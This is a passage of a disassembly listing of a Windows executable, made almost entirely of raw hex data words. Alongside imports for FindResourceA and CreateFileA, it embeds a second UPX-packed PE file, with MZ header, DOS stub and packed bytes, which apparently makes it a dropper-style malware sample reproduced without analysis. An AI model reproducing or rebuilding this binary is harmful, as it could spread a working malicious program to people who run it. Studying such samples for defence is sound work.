aFindresource_0	db 'FindResourceA',0
		align 4
aExitprocess_1	db 'ExitProcess',0
		dd 6E450000h, 65526D75h, 72756F73h, 614E6563h, 4173656Dh
		dd 0
aCreatefilea_0	db 'CreateFileA',0
		dd 6C430000h, 4865736Fh, 6C646E61h, 65h, 2EEh dup(0)
dword_407000	dd 2 dup(0)						; .data:00408000o
dword_407008	dd 3FEh	dup(0)						; .data:00408004o
		dd offset dword_407000
		dd offset dword_407008
		dd offset dword_404084
		dd offset dword_408010
dword_408010	dd 33Ch	dup(0)						; .data:0040800Co
byte_408D00	db 2 dup(0)		; DATA XREF: .data:00404010o
					; .data:00404014o
word_408D02	dw 0			; DATA XREF: .data:003D6A08o
					; .data:00404008o
		dd 0BFh	dup(0)
		dd 1000h, 11Ch,	300A3002h, 301A3012h, 302A3022h, 303A3032h
		dd 304A3042h, 305A3052h, 306A3062h, 307A3072h, 30AE3082h
		dd 30BE30B6h, 30CE30C6h, 30DE30D6h, 30EF30E6h, 31183110h
		dd 31873180h, 334632CFh, 33DB3395h, 346433EEh, 34E934A8h
		dd 3529351Dh, 35D73544h, 37623726h, 378A377Fh, 379D3795h
		dd 37B137A7h, 37D137BBh, 37E537D7h, 380237F8h, 38163808h
		dd 3824381Ch, 38423836h, 385D3851h, 38703865h, 38833876h
		dd 38A33889h, 38B438AAh, 38C838BEh, 38DF38D4h, 38F638F0h
		dd 390838FEh, 392A391Fh, 3963394Bh, 399A3982h, 39E239A2h
		dd 3A4739F8h, 3A853A67h, 3BBC3BAFh, 3BF53BEFh, 3C173C0Eh
		dd 3C2B3C20h, 3C3B3C34h, 3C513C4Ah, 3CCC3C73h, 3D593CD4h
		dd 3D7C3D77h, 3DEE3D82h, 3E043DF4h, 3E523E0Dh, 3E713E5Bh
		dd 3EA33E97h, 3EDE3EABh, 3F223F08h, 3F553F4Ch, 3F6D3F65h
		dd 3F7C3F73h, 3F883F83h, 3FA13F8Eh, 3FC83FAAh, 3FD63FCEh
		dd 2000h, 114h,	30063000h, 30303018h, 3044303Ch, 306A305Bh
		dd 309A307Ah, 30D630B2h, 30E430DEh, 311C30EAh, 315E3140h
		dd 3174316Eh, 31E1317Ch, 31F531ECh, 320B31FBh, 32653214h
		dd 327C326Ch, 328C3286h, 329A3294h, 32A732A0h, 335832B1h
		dd 339F3381h, 33B333ABh, 3413340Dh, 343F341Bh, 347A345Fh
		dd 349C348Fh, 356D34BCh, 3699365Ah, 36BF36A9h, 36F336DDh
		dd 371F370Ah, 376E3759h, 378A3782h, 37B837A0h, 37FA37C6h
		dd 38223816h, 38403836h, 38833853h, 38B938B0h, 38F438EBh
		dd 39303929h, 399F3952h, 3B0F39C7h, 3B3E3B37h, 3B783B56h
		dd 3BB43BACh, 3BEB3BBFh, 3C4B3C00h, 3C723C5Eh, 3CAA3CA6h
		dd 3CB43CB0h, 3CC03CB9h, 3CCE3CC6h, 3CE83CD9h, 3D1C3CF0h
		dd 3D443D27h, 3D733D4Eh, 3D873D7Dh, 3D953D8Fh, 3DBE3DA3h
		dd 3DDD3DD3h, 3E013DE2h, 3E0B3E06h, 3E413E2Dh, 3EAF3EA6h
		dd 3EE23ED5h, 3FAA3F99h, 3FF13FEAh, 3000h, 0B8h, 30213003h
		dd 3036302Ah, 3078303Dh, 30E330C1h, 30F630EFh, 310A3100h
		dd 31323121h, 3146313Fh, 3150314Ah, 315A3154h, 31653161h
		dd 3188317Fh, 319D3191h, 31CE31A7h, 31F431E3h, 320631FEh
		dd 3216320Eh, 3246321Eh, 327E3270h, 329C3283h, 32BD32ACh
		dd 32DA32CEh, 32E432DFh, 32F232EBh, 331332FCh, 332C331Fh
		dd 334B333Eh, 33643357h, 337E3376h, 338E3386h, 339E3396h
		dd 33AE33A6h, 33BE33B6h, 33CE33C6h, 33DE33D6h, 33F733EBh
		dd 34163404h, 350234EFh, 35183514h, 3520351Ch, 35283524h
		dd 3530352Ch, 353C3534h, 35533547h, 4000h, 10h,	30283024h
		dd 302Ch, 8000h, 14h, 30043000h, 300C3008h, 340h dup(0)
		dd 4, 10000h, 0Ah, 80000018h, 2	dup(0)
		dd 4, 2, 80000088h, 80000038h, 80000094h, 80000050h, 2 dup(0)
		dd 4, 10000h, 0
		dd 68h,	2 dup(0)
		dd 4, 10000h, 0
		dd 78h,	0A0A0h,	0D400h,	4E4h, 0
		dd 174A0h, 0A800h, 4E4h, 0
		dd 300005h, 45002Eh, 450058h, 310005h, 45002Eh,	450058h
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 0D8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 5BB36322h, 3	dup(8DD0266h), 8A0C441h, 8DD0262h, 8B0C441h
		dd 8DD026Ch, 8DC0266h, 8DD024Fh, 8800DA5h, 8DD026Fh, 8ACC441h
		dd 8DD0265h, 8A1C441h, 8DD0267h, 8A5C441h, 8DD0267h, 68636952h
		dd 8DD0266h, 2 dup(0)
		dd 4550h, 3014Ch, 46D6FF0Dh, 2 dup(0)
		dd 10300E0h, 8010Bh, 0D000h, 1000h, 5000h, 123B0h, 6000h
		dd 13000h, 400000h, 1000h, 200h, 4, 0
		dd 4, 0
		dd 14000h, 1000h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 138B4h, 0E4h, 13000h, 8B4h, 0Eh dup(0)
		dd 13998h, 48h,	0Ah dup(0)
aUpx0_0		db 'UPX0',0
		align 4
		dd 5000h, 1000h, 0
		dd 400h, 3 dup(0)
		dd 0E0000080h, 31585055h, 0
		dd 0D000h, 6000h, 0C600h, 400h,	3 dup(0)
		dd 0E0000040h, 7273722Eh, 63h, 1000h, 13000h, 0A00h, 0CA00h
		dd 3 dup(0)
		dd 0C0000040h, 64h dup(0)
		dd 32000000h, 32302Eh, 21585055h, 902090Dh
; ---------------------------------------------------------------------------


loc_40A488:				; CODE XREF: .data:0040A4C0j
		rol	word ptr [edx+61h], cl
		mov	al, 0BCh
		db	2Eh
		nop
		sub	[ebx], eax
		add	[eax], eax
		scasb
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 11000h, 1A000026h
; ---------------------------------------------------------------------------


loc_40A4A0:				; CODE XREF: .data:0040A4BEj
		outsd
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, dword_40E000
		xor	eax, ebp
		mov	[ebp-4], eax
		push	esi
		push	edi
		push	6
		pop	ecx
		mov	esi, 8D0E2068h
		jge	short loc_40A4A0
		jg	short loc_40A488
		mov	esi, 66A5F3FBh
		movsd
		movsb
; ---------------------------------------------------------------------------
		db 0Fh,	0FFh, 75h
		dd 1284BE08h, 0E0458DC4h, 0FFFFFFA4h, 0E8DBh, 59C085A8h
		dd 14745E5Fh, 2BE04D8Dh, 0DC083C1h, 591A6A99h, 448AF9F7h
		dd 6D86F915h, 27EBE0EEh, 25C42632h, 0EEFFC423h,	0EBC40BFFh
		dd 8458A03h, 33FC4D8Bh,	560325CDh, 8B56C3C9h, 0FB7D0FF0h
		dd 6B6FFEDh, 0EBF98B57h, 64E8500Dh, 78800FFh, 7D8A4647h
		dd 0EF75C084h, 0ADFFFF6Dh, 0EBC3680Ah, 244C3A07h, 40077404h
		dd 0C984088Ah, 2A05F375h, 0DFF63FB7h, 1BD9F60Eh, 23D1F7C9h
		dd 54C9C3C1h, 33446A56h, 56AC79F6h, 0BBEDDDB7h,	7C045550h
		dd 0C0CC483h, 501050F0h, 16A0056h, 6BBCD6E6h, 45C79803h
		dd 75644ACh, 0DBFB81D8h, 8966FEEFh, 15FFDC75h, 0D8F7DF2Ch
		dd 5E40C01Bh, 0AC8D5589h, 80FE6824h, 7DA10FB7h,	218EC81h
		dd 94851C1Fh, 858B0C01h, 0B8285FC3h, 2A2505A0h,	0B8FF3380h
		dd 9814D710h, 4D7DFDFBh, 887D898Ch, 48B887E9h, 0B908D0Fh
		dd 6EEB660Fh, 8C847AB6h, 80456850h, 0E1FD0C62h,	3BE36FDDh
		dd 0B3850FF7h, 1D8B531Dh, 88455308h, 0ECE65750h, 8D00BBEDh
		dd 9D503585h, 23D3FF84h, 0E6F6CF85h, 41C81B6h, 6A88156Eh
		dd 0F83C3F40h, 0F63B585Fh, 6D74FF85h, 1006A34h,	75F68536h
		dd 0B66B7FDDh, 5720554Bh, 387C800Eh, 358B2CFFh,	0D740D38h
		dd 8F7DB73h, 14D75468h,	58028D6h, 5B606D0Dh, 474025D7h
		dd 4A88CC01h, 0B66633A9h, 8570491h, 23001140h, 5B70FC2Ch
		dd 5F028D8Bh, 5EB3C68Bh, 16E181B4h, 98C5DD0Eh, 2B7BC910h
		dd 0A61B0A0Ch, 6848977Bh, 13441B8h, 0D9BF850Fh,	56CE84BEh
		dd 326A240Eh, 0F7D23359h, 45928F1h, 63F886F7h, 895048Bh
		dd 1BAD2F33h, 68ECDAFBh, 1F909D58h, 0D415A750h,	0C2FFBBB5h
		dd 74C63BD8h, 6856533Fh, 26A2C80h, 77B60856h, 4007D74Dh
		dd 4A831C1Ch, 562074D8h, 0CB6EF435h, 0B41A76EDh, 23104900h
		dd 20281F53h, 0C6F8C719h, 5EC31806h, 74C03372h,	0B39096C8h
		dd 58B308B9h, 0E16F76DEh, 0BD952F74h, 42022A82h, 1E755F0Fh
		dd 0C1765E4Bh, 11011092h, 0FE0D7559h, 0E301FBh,	0C2CC59C6h
		dd 0D3B0010h, 0F3027551h, 0BCBDE9C3h, 6512EB1Ch, 0A3032868h
		dd 0D89E1E8h, 0F3E7CDE4h, 0E01505F9h, 0D835DC1Dh, 2366D43Dh
		dd 8C85BF9Fh, 0D06E26Fh, 0D01DE1F4h, 0C8E6F305h, 0C825CC91h
		dd 8F9CC42Dh, 0EEF9F805h, 458B6DB1h, 407EC56h, 8D0FF0A3h
		dd 0FCA30845h, 0F6FBAEBDh, 0FFCEE085h, 0B3805C7h, 1CA10101h
		dd 0AE6DDEDCh, 0E0139729h, 40905h, 0E0E41DC0h, 0E1046DDBh
		dd 32D8E602h, 0B80A04A1h, 0DC1982EEh, 3420140Eh, 6B613930h
		dd 54296A7Ch, 142C5969h, 3DEDA944h, 460EE0Bh, 203D487Eh
		dd 0EF6CD6EEh, 682308B0h, 504C1B5Bh, 17DDB206h,	836C50CCh
		dd 24E41025h, 0AD00CCC3h, 8BFE9BC2h, 8B0C2454h,	74D285C6h
		dd 0BF179469h, 24D377EDh, 8116EE08h, 0E7290FAh,	74300C55h
		dd 0AEFFFD05h, 4D05420Dh, 4FA831Ah, 0D9F73172h,	7403E183h
		dd 0CDD12B0Ch, 156FFFF7h, 8301C783h, 0F67501E9h, 0E0C1C88Bh
		dd 6C10308h, 0ACE7CA10h, 0E283DBFBh, 7402E905h,	58ABF306h
		dd 97EA270Ah, 6076EACEh, 405C35Fh, 0FCBA042Fh, 0B7F5BC8Bh
		dd 0C867DAEh, 0F66072Eh, 0B6EBC0EFh, 3C0024A4h,	90D6DDDFh
		dd 7F117F0Dh, 20041047h, 0CF3F1F30h, 605040F3h,	8DBF8D70h
		dd 0D9CE1649h, 8BD075EEh, 565DE549h, 0ED998310h, 0AD97FBD2h
		dd 0FA2BFA33h, 60FE783h, 683C75B8h, 0EDFFEB19h,	9CD18B10h
		dd 0F455897Fh, 1274CA3Bh, 0A751CA2Bh, 66BBFF6h,	150D835Ah
		dd 450345AEh, 0EEC22B10h, 881ADB6Dh, 0F853C03Bh, 0AAF3F431h
		dd 0BAF9671Bh, 0F72EEBF6h, 0F058C5DFh, 0B7F00816h, 0F0B5CDF0h
		dd 0C8F23507h, 9552D02Bh, 98594B51h, 4D05659Dh,	8728E0Ch
		dd 0DDDEDFA6h, 0A3400618h, 6AC33D0Ah, 62C0680Ch, 7FDB8173h
		dd 6583B013h, 28C700FCh, 1E40BC1h, 6DEDDA97h, 0EC3A23EBh
		dd 3D01008Bh, 0A010C05h, 0E6C2ED3Dh, 3061DBEh, 37400234h
		dd 2B2FE865h, 0E48D4A39h, 6EF4233Bh, 676D3332h,	0F2F5425Fh
		dd 3C532018h, 0E16D8502h, 53B9F46Eh, 358A589Ch,	0F6FB201Ch
		dd 9DE17DBBh, 74A85A9Ch, 1F9D511Fh, 5D1DA20Fh, 0D776FCE8h
		dd 89ECEDBDh, 126FB8BEh, 5BF83355h, 7D353AF7h, 0DC0EB80Bh
		dd 7CF0C20Eh, 6359C905h, 2EB70DBh, 0BC365B04h, 4B28360Ch
		dd 17D6338Eh, 5B663520h, 0CAA61C30h, 8D036C13h,	0D6C636A5h
		dd 571BE02Bh, 0CA4D31C4h, 0DA142B58h, 72AE8950h, 86B00B40h
		dd 672E076Fh, 37A3640Ch, 341B40C3h, 8564A578h, 5B5BC30Ah
		dd 0D7B605Ah, 0C85B512Bh, 375C9814h, 0A5D837DEh, 8738D55h
		dd 764C3533h, 0ADBF8306h, 0C6E54B6Dh, 4F91368h,	7B8DB618h
		dd 0FFE91685h, 8B0D7410h, 0CF03044Eh, 0F1380C33h, 0F0B8740Ch
		dd 846D96Eh, 0F628970Fh, 855A0440h, 0E3B1BD1Fh,	0C6B353Fh
		dd 0E7FEFD83h, 1CEF8D30h, 0B7FC4489h, 0B03CDFFh, 0FC538920h
		dd 448D5E74h, 864C1E6Dh, 8DC98514h, 0D95865Ch, 31C6DDFh
		dd 1674141Ch, 907D78Bh,	75DE0596h, 7C0176FFh, 504C7F44h
		dd 0E88B8614h, 76D9CD75h, 8A76C595h, 86962474h,	0BF77DD18h
		dd 5B5DE377h, 0BCC31413h, 88C6EBEFh, 0F1398128h, 63FD2C8Eh
		dd 75E06D73h, 2104622Ah, 0D4D40768h, 0A3434D0h,	9A108004h
		dd 0AF1EDB28h, 0BC52CDB4h, 2C35A018h, 0FE138595h, 2C54C6EEh
		dd 740C6839h, 0D51E6813h, 0EEF611EBh, 24E0177Ch, 0C488914h
		dd 0C9ED9B9Bh, 4B3A56C8h, 0ADE9E608h, 0D8660E83h, 0FE0C7BE0h
		dd 51A25021h, 0B0A1BACBh, 54AF1D8Bh, 97B70720h,	74DFF1D9h
		dd 62108F9Dh, 52551814h, 68515150h, 0E1A11938h,	0BE079204h
		dd 0D6083DC4h, 6307B1F0h, 8B301925h, 1933B558h,	5ADF708Bh
		dd 0FE80B6DDh, 34433B90h, 3B040843h, 0DCD576F2h, 8D2EF0B2h
		dd 0B3737634h, 0BB82B00Bh, 0AEB1B0FBh, 0AC015975h, 0C790843h
		dd 780BB94Dh, 0C987E05h, 64B0EB6Ch, 0FF70566Ah,	500850DAh
		dd 0F7B3C35Bh, 11060441h, 0C75F8DB1h, 5A3374C8h, 0C833488Bh
		dd 0DAD969DCh, 1868134Bh, 100274FFh, 0FF1E9614h, 0A408B35Eh
		dd 89C6235Dh, 8403B802h, 0DBBDB2D9h, 29104C25h,	21C71FFh
		dd 37282818h, 0C236DA36h, 89F1558Dh, 0DB33F1EAh, 12836176h
		dd 0E33F92Ch, 98785BD1h, 5DCBF03Bh, 8BF18BEAh, 1DA265C1h
		dd 0F3530617h, 0E6D233C9h, 0E9142485h, 68E1AFBAh, 205117DFh
		dd 655DAA70h, 68565E6Ch, 37515271h, 8603Bh, 4DD1BA4h, 0B66C77Fh
		dd 0D6E45A4Dh, 8B7817C0h, 81373C41h, 0C9455038h, 408658F0h
		dd 7818B7FBh, 0F010B18h, 0B370C194h, 0E95BF6B7h, 0C82504E5h
		dd 1441B70Fh, 671056Fh,	68B637F0h, 0C657777Eh, 1E761808h
		dd 37C27C8Bh, 4C9EC17Ch, 972F93Bh, 3BD9037Ah, 3D5972FBh
		dd 0C2C0BFB4h, 3B28C07Ah, 60E672D6h, 0D724CC39h, 0B50084BBh
		dd 0E068FE6Ah, 0D2D2D58Eh, 84C7C28Bh, 32CA0885h, 0F85CC925h
		dd 8639D3B7h, 9CD6789h,	0FC09AFFCh, 3AEBEC3Ch, 132DF455h
		dd 2C0A1950h, 0B305FFD6h, 2440F508h, 0F71FE8C1h, 1E083D0h
		dd 4B49D7BBh, 0C3FCFD1Ah, 0B562DEF7h, 0CC018A85h, 8BC2F3F9h
		dd 82D656C2h, 0BA2FEFBDh, 423A1C31h, 55A5BBF7h,	281B5472h
		dd 63B3195Ch, 205D702Bh, 637B3223h, 0FC14D2C9h,	5228507Ch
		dd 66194B03h, 0AE522477h, 61229D0Bh, 97E1B191h,	265055E3h
		dd 1DEF1B5Ch, 18850C13h, 28EF198Fh, 38F0B85Bh, 833AEAE9h
		dd 74062C8Ah
		dd 67971DDh, 2D76743Bh,	0B30C8BE9h, 4F190C73h, 7CEA7E3Ah
		dd 4417EBB3h, 7BC6ECB3h, 0E808B31Fh, 0ECEAB6B7h, 5B763DF6h
		dd 0F8B64FDh, 83047981h, 7BBBB675h, 0CB51D2FFh,	51390C52h
		dd 0DA057508h, 0D0BB51A6h, 0DE97191h, 80BEBB6h,	89E06B8Bh
		dd 0D837E343h, 55FB612Ah, 5D5958E5h, 0CAD55B59h, 0FFB0BC5Ch
		dd 25FF37D0h, 0AF000E30h, 65A02D5Eh, 0FE25E07Dh, 434241FFh
		dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 545352BDh, 0E5B6FFFFh
		dd 235A16E1h, 64636261h, 68676665h, 6C6B6A69h, 0EF6F6E6Dh
		dd 70FFEEFFh, 74737271h, 78777675h, 631B7A79h, 72676267h
		dd 722E6770h, 7F4F726Bh, 6EEC7FD8h, 630A7479h, 65726972h
		dd 176C7376h, 72786E7Ah, 0D9E4FF75h, 710D7AB3h,	707A076Ah
		dd 61716168h, 0FECF7A6Eh, 0C72B1D9h, 6524717Ah,	7679616Eh
		dd 7A691F6Fh, 0FFB1F61Bh, 72656E6Ah, 6E73682Dh,	61691071h
		dd 0B1C6772h, 0DB6B05BFh, 68036E9Ah, 7076699Bh,	0DDB37272h
		dd 687AEDD9h, 65621379h, 61136614h, 0DB59A266h,	7070FB06h
		dd 2B63636Eh, 5771156Ah, 0EC3EDB39h, 703207BBh,	0AF737362h
		dd 0E776F62h, 0E47DBE63h, 34743B59h, 712B2B07h,	0DE6A7979h
		dd 9FACEC1Eh, 75137045h, 67EF636Ch, 0C1B67A65h,	726843FEh
		dd 33677671h, 6A745B32h, 0BECDA16Dh, 6FC919CDh,	0B74767Ah
		dd 0C93051F4h, 225836h,	6E6E617Bh, 4EAE6DB6h, 67624C0Eh
		dd 0B64FC272h, 180B61F6h, 71781F75h, 791E926Fh,	0C3F6B061h
		dd 3833760Fh, 71471336h, 42B58D17h, 71746F3Bh, 42370BDFh
		dd 7B9860A1h, 94AC699Bh, 5C28584Eh, 63D41879h, 85B96138h
		dd 66C65093h, 0D61AD6Ch, 0B092D6D8h, 3AD76280h,	9E0D764Ch
		dd 763FB26Ch, 366A6E71h, 87740B34h, 0BA34366Eh,	63439424h
		dd 67664F3Fh, 8C1AC377h, 700F2772h, 750D7875h, 0B59BC670h
		dd 0B328175h, 5BF07318h, 66BBB61Bh, 6F9844ECh, 78706279h
		dd 82858947h, 999008E0h, 964190EBh, 0FFFF044Dh,	0FFCB40B8h
		dd 4F001BBh, 0EBA1F0Eh,	0CD09B400h, 4C01B821h, 0DADF0A54h
		dd 2073D31Bh, 61EC6070h, 8F63206Dh, 176C6F6Fh, 0A820749Ch
		dd 206EA920h, 4F440269h, 7C07BB53h, 6F6D20E3h, 0D0D2EFAh
		dd 5503730Ah, 87F77C75h, 1129AAFCh, 867AC414h, 107ABAD0h
		dd 0B9D23607h, 0D8F7037Ah, 7AAA8F23h, 4E7AA90Eh, 807AC523h
		dd 8F636017h, 991BD27Ch, 7AB5187Ah, 37B8071Dh, 0D8FBD91Ah
		dd 695207BCh, 0B34F6863h, 1F6A9749h, 0F1014CEAh, 0B346D613h
		dd 217CB74Fh, 10B0101h,	1011B008h, 0B9D84D01h, 1B0270Bh
		dd 1C0030Bh, 0EF64B70Dh, 270217F0h, 0D01B0700h,	0CD9D8101h
		dd 10401E26h, 58E50007h, 0B42F06B2h, 0D6457BC8h, 0B45752EEh
		dd 0C9CC6708h, 2050BB3Fh, 4F2F486Ch, 72093058h,	0AF37B236h
		dd 0F68027C4h, 0E0CD221Dh, 0A4FF0B31h, 30DEC327h, 733D4057h
		dd 83DC6372h, 0C0BA6929h, 0C0A80C27h, 0A040B88Ah, 3230090Ah
		dd 7FFFC56Eh, 90D21F7h,	2A690902h, 0B18E2F1Eh, 0C089BA31h
		dd 52EAA06Fh, 7EF219Bh,	7736F926h, 0FD5DD5BDh, 3128481Ch
		dd 0FA748D56h, 6DE85657h, 14BF52FFh, 8B56EE2Dh,	0A57E3F8h
		dd 0F783BC2Eh, 0FFC41FDBh, 0FE1B41BFh, 4E8B8EC7h, 74C98530h
		dd 2C46FF13h, 0FFC1028Bh, 0E0C1B817h, 0DF1ED202h, 362F7FB4h
		dd 6A0EEB59h, 0FFC73304h, 168E537Fh, 0FD08C804h, 89EEBBEDh
		dd 59243046h, 81548932h, 0B52FFDFCh, 904DC3D4h,	0DF7CD10Ch
		dd 4BFFF6Ch, 0FF1C478Bh, 9E5DF52Fh, 0C4E8D06h, 200C1751h
		dd 244F8B0Ah, 0E6DFDB8Dh, 0FFFD02D8h, 10314CFFh, 50090446h
		dd 595C0078h, 777E063Fh, 9A0E612Ch, 3D8B5911h, 0C4BFFB7Fh
		dd 8F234D38h, 466ADDDCh, 501E2034h, 8330760Fh, 0FF976EE9h
		dd 0EDE97FEDh, 30B03466h, 2C060CC4h, 0F9342B00h, 77849DC0h
		dd 8D20EB34h, 0AB7FFF46h, 0FF500CFFh, 1857FF8Dh, 0D06F883h
		dd 0ADFFB7EEh, 75010814h, 0EB368B07h, 4BB7AB03h, 7F768BFDh
		dd 0D4DC75F6h, 0B7CBDDEDh, 0FFC603C6h, 51AADFFFh, 8BDB3365h
		dd 345E39F0h, 0FC5D8957h, 0E0F1840Fh, 0C2F86EFFh, 0FFFFFFF7h
		dd 0FE8BCF56h, 3B24E171h, 0F7459FBh, 0B6C33B20h, 0C7E9A76Dh
		dd 2889394Eh, 0ADFFFF13h, 0D82724FEh, 0CFB5DBAh, 2A6E387Ch
		dd 0E98CAC29h, 0B9BB0207h, 7E045DBFh, 0FFFFFF34h, 2D7433FFh
		dd 478DDF8Bh, 56FF4988h, 0A7B7DD87h, 0B160F19h,	0EB3F8B19h
		dd 0C37F0505h, 8B6B7B76h, 0FF00BF1Fh, 2EBD9FFh,	78DB850Ah
		dd 0B66D59B4h, 0E8C6FED6h, 18755B52h, 6A89A310h, 5FFFFFABh
		dd 0BB9CCD80h, 4924763Fh, 0BD796648h, 8B3DB776h, 0FFFF7C37h
		dd 1B7ADFFFh, 7612C083h, 9B9BFFBAh, 8919F273h, 8915EB03h
		dd 8B14EB3Bh, 170B2003h, 0BF407846h, 89FFFF11h,	2176047Bh
		dd 0AEE83CDFh, 0DCDADFB9h, 7BE175FDh, 7F6F3074h, 0D5BFFF6Eh
		dd 8C2B5FFh, 2A71267Bh,	0F285C2E4h, 8B1C773Bh, 0C95BAF34h
		dd 0F6FE3B4Fh, 0FFFFEAEEh, 0DE2C41FFh, 48197656h, 30498BE7h
		dd 1381148Dh, 23C28308h, 4EAFE5Ch, 74323B48h, 0DFFFF0BFh
		dd 4475F0C5h, 0DF770481h, 833FDB0Ch, 65835CECh,	0BFBC50B8h
		dd 0FF45C75Bh, 0A8FFFFFFh, 0F97E5F01h, 674523EDh, 0AB89AC06h
		dd 0FEB0EFCDh, 0B498BADCh, 0B7325476h, 108599FBh, 0FF8040DEh
		dd 4DFFFFFFh, 0F11075A8h, 0B7CB879Dh, 110A75DFh, 59087D8Fh
		dd 106A5E59h, 0B1E1BBF3h, 3116037Bh, 9741951h, 0CFF04FEh
		dd 0F193C933h, 42BE17F6h, 0FFC883FBh, 0FFFFFF76h, 424807Fh
		dd 4BC743FFh, 0C259469Fh, 0E1BF0104h, 1CC76612h, 78C468D0h
		dd 386A5643h, 0E3230DE6h, 0C6FFC0BFh, 0F4B1D30Dh, 6130562Fh
		dd 0D2F6721Ch, 0FA6D48E6h, 0FF180718h, 137FD77Fh, 0CD847B19h
		dd 5C2406B7h, 5EBB0428h, 3AE2C35Fh, 5F6C7F6Eh, 0FFF8E4DCh
		dd 0A1FFFFFFh, 2F417C5Ch, 0F65E24ECh, 0D1BDCEDBh, 74D8155Ch
		dd 0C85FB64Fh, 35590EADh, 89B785CEh, 0FF3F74B6h, 50FFFFFFh
		dd 1242450h, 0B4BEDC67h, 183B8D72h, 159A5A5h, 8DFAA553h
		dd 6BFDDDBFh, 50142022h, 7F22C38Bh, 1FFFFC0h, 0F7235913h
		dd 0F61B59DEh, 0B46777E3h, 5FEF0553h, 0C351BA71h, 0FE0DFADBh
		dd 6DBC6FFFh, 703D6055h, 346F8DCAh, 5CA45D39h, 80A36A9h
		dd 0FFC18141h, 49B217FFh, 0DB0A9613h, 0C5470275h, 0FB4E0C99h
		dd 2C4BF7D8h, 0FF5C8DCFh, 2FB85FFFh, 0E0425F7Dh, 0ECFE5343h
		dd 9E17B7BEh, 3E741077h, 8B34D832h, 0FFD19B6Ch,	7DFFFFFFh
		dd 503555B6h, 201B5355h, 86B90876h, 0C303B77Dh,	0A00C647h
		dd 4C49588Dh, 37B3BBC2h, 0E188C961h, 3FFFFFFh, 265EA557h
		dd 5B5D5F0Ch, 0D5FB30A5h, 4955A7B6h, 4C57F825h,	0BC2D361Bh
		dd 0FF4E039Ah, 317FF897h, 82063640h, 873F8026h,	748A766Dh
		dd 4BE0F39h, 4887503Eh,	0FFFFF1A2h, 0E2375FFh, 9BB5D949h
		dd 0F1B1F9Fh, 0F64CB8B6h, 0FC0B133Ch, 0FFDE35B2h, 3C804607h
		dd 0FFFFFF3Eh, 1AC7E42Fh, 6E541CE6h, 7702376Ch,	84158A46h
		dd 0D953E87Bh, 191437F6h, 3AEB1013h, 0FFFFFF3Ch, 3D7440FFh
		dd 6153C054h, 14725605h, 6EA7603h, 614AFF7Bh, 432B0488h
		dd 0BF493A59h, 0DBDB406Dh, 0FFFFFF3Bh, 8CC50FFh, 55F94D78h
		dd 970022C6h, 0D1661774h, 0C04BEB2Eh, 3B643C2Bh, 145D6F61h
		dd 7594522Bh, 0FFFFFF28h, 0FFC27FFFh, 2B2E486Dh, 402B5906h
		dd 794B0375h, 0BD2BC6B2h, 2B44DB73h, 647E8B69h,	0F7034340h
		dd 0FFFFFFABh, 6C873CFFh
		dd 130664B9h, 801A3B06h, 0FFECD9EDh, 2EFF2B7Ch,	3E800575h
		dd 2C0E742Eh, 0B04359C6h, 0FFFFFEB0h, 0D7E70FFh, 8BAEBF28h
		dd 2DD3D41Dh, 0B0BF6D97h, 3C8D4AEBh, 0B307272Eh, 4BA41739h
		dd 26B290C8h, 97FFFFFFh, 0B77B659Dh, 0B03F6E85h, 55B3794Eh
		dd 85852EB1h, 0DC58686Fh, 7D800A7Ch, 0FF042000h, 0E2FFFFD2h
		dd 4A1A9702h, 1F5BE67Ch, 0D272595Dh, 408D5B6h, 0E140DC0Dh
		dd 0E3BB70B2h, 0BFFFFFFCh, 0BBB660F4h, 2A740C58h, 0B64B3761h
		dd 6274DB02h, 0C090B1DBh, 0B86E165Bh, 0BF501806h, 43FFE941h
		dd 0DA371547h, 0CDA5F61Eh, 92E703BDh, 37213132h, 0FFFFFF01h
		dd 83880FFh, 0DAF64817h, 32EB5020h, 0DFC4DABh, 8AEDD8D7h
		dd 885EFF06h, 0A6E2F501h, 0D2CEBEA7h, 0FFFFFFFBh, 0CEB00FFh
		dd 41706856h, 0FF53B748h, 903B6ED1h, 849F0F8Ah,	88A67C9h
		dd 5005215Fh, 76D6B1F7h, 0FFFFFF8Eh, 6BF980FFh,	8A400A40h
		dd 2D1E380Ch, 0ED7F7EF0h, 45ED3355h, 0A3112D39h, 0C55FB054h
		dd 0F4B0E37Fh, 0FFFFFF30h, 35035EFFh, 0EBD6D64Eh, 74C8A13h
		dd 6C2DC966h, 137AF9D8h, 0CCE3813Fh, 48B58ED6h,	0E47F2E8Fh
		dd 0BC2FE08h, 0C2D111FCh, 61EF7FAFh, 850D2BCDh,	2858A3C1h
		dd 0FFFFFEC0h, 0B09097FFh, 0F02FAFBh, 0C748B387h, 138606C5h
		dd 672CD753h, 1F3B29AFh, 0C0BF9316h, 7FF1BDF7h,	0D932F7EBh
		dd 7724FAC3h, 80127B7Eh, 4F971AB8h, 6F09FB85h, 8CBFFFFCh
		dd 8A7B6774h, 0BDACDACEh, 0DCE64F0Dh, 0DE20C1CDh, 40DEDC83h
		dd 0E3EA0B7Ch, 39FFFFFFh, 59888A7Fh, 0DFDFFDF0h, 21E5EDEBh
		dd 0A1C88B80h, 64C06B19h, 53F9F799h, 0FFD7F7F0h, 1574BA2Dh
		dd 107E9014h, 217C3253h, 0BE15FC9Fh, 0FA5FFF07h, 5F5D5EFFh
		dd 6174A5Bh, 0EB3C097Ch, 67936BE6h, 0DF7D4608h,	81F9DD02h
		dd 0FFA5C8ECh, 0A6FFFFFFh, 7492570Eh, 520B8705h, 0A6B78D78h
		dd 0AF55106h, 0E577F75h, 263F6B0Dh, 0B2F9C338h,	0FF683D84h
		dd 0FEB702h, 7B5DFB6Ch,	0F6344647h, 0B8A1CB59h,	16C64D6Fh
		dd 0EB7FFFC3h, 0DBE05BFFh, 0EB5FF6CAh, 0C852119h, 67FBA06Eh
		dd 8B15CA0Bh, 24BCB504h, 0C6E36F46h, 0A1AB7FFFh, 0E6FF645Ch
